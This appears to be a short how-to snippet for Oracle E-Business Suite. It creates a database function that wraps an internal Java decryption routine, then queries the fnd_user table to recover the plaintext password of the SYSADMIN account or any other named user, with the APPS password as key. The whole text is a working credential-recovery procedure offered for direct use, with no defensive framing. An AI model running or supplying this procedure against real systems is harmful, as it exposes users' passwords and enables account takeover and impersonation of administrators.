Decrypt user's password in EBS

-- Create java function for decrypting password

-- key - apps password (upper case)

-- value - encrypted user password

create or replace function xxx_decrypt (key in varchar2, value in varchar2) return varchar2

as language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

/

-- Decrypt user's password

-- Change SYSADMIN to whatever you need

select user_name, xxx_decrypt('APPS', encrypted_user_password) from fnd_user where user_name = 'SYSADMIN';